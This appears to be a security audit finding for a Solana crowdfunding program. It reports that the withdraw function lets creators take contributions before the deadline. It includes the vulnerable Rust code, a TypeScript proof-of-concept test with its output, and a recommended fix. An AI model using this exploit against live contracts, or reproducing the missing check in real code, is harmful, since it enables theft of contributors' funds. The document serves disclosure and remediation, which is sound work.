Summary
The contract allows fund creators to withdraw funds at any time, including before the deadline is reached, which could lead to theft of contributor funds.
Vulnerability Details
The withdraw function has no checks to ensure that the fund's deadline has been reached before allowing the creator to withdraw all funds. This bypasses the core crowdfunding mechanic where funds should only be available to the creator if the funding period has successfully completed.
pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}
Impact
Malicious fund creators can create campaigns, collect contributions, and immediately withdraw all funds before the deadline, effectively stealing from contributors who should have the right to claim refunds if the deadline hasn't been reached.
POC
Add to tests/rustfund.ts:
it("Creator can withdraw before deadline", async () => {
const withdrawFundName = "Withdraw Test Fund"
const [withdrawFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(withdrawFundName), creator.publicKey.toBuffer()],
program.programId
)
await program.methods
.fundCreate(withdrawFundName, description, goal)
.accounts({
fund: withdrawFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const futureDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 30);
await program.methods
.setDeadline(futureDeadline)
.accounts({
fund: withdrawFundPDA,
creator: creator.publicKey,
})
.rpc();
const [withdrawContributionPDA] = await PublicKey.findProgramAddress(
[withdrawFundPDA.toBuffer(), provider.wallet.publicKey.toBuffer()],
program.programId
)
await program.methods
.contribute(contribution)
.accounts({
fund: withdrawFundPDA,
contributor: provider.wallet.publicKey,
contribution: withdrawContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const fundBalanceBefore = await provider.connection.getBalance(withdrawFundPDA);
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
await program.methods
.withdraw()
.accounts({
fund: withdrawFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const fundBalanceAfter = await provider.connection.getBalance(withdrawFundPDA);
const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey);
console.log(`Fund balance before: ${fundBalanceBefore}, after: ${fundBalanceAfter}`);
console.log(`Creator balance increased by: ${(creatorBalanceAfter - creatorBalanceBefore)/1000000000} SOL`);
})
Output:
========================================
🐛 BUG REPORT [HIGH]: No Deadline Check in Withdraw Function
----------------------------------------
Description: Creator can withdraw funds before the deadline, potentially stealing contributors' funds that should be refundable
Evidence: Successfully withdrew funds before deadline. Fund balance before: 537590960, after: 37590960. Creator balance increased by ~0.499995008 SOL
========================================
Tools Used
Recommendations
Add a deadline check to the withdraw function:
pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
// Check if deadline has passed
+ if ctx.accounts.fund.deadline == 0 || ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
let amount = ctx.accounts.fund.amount_raised;
// Rest of the function remains the same
...
}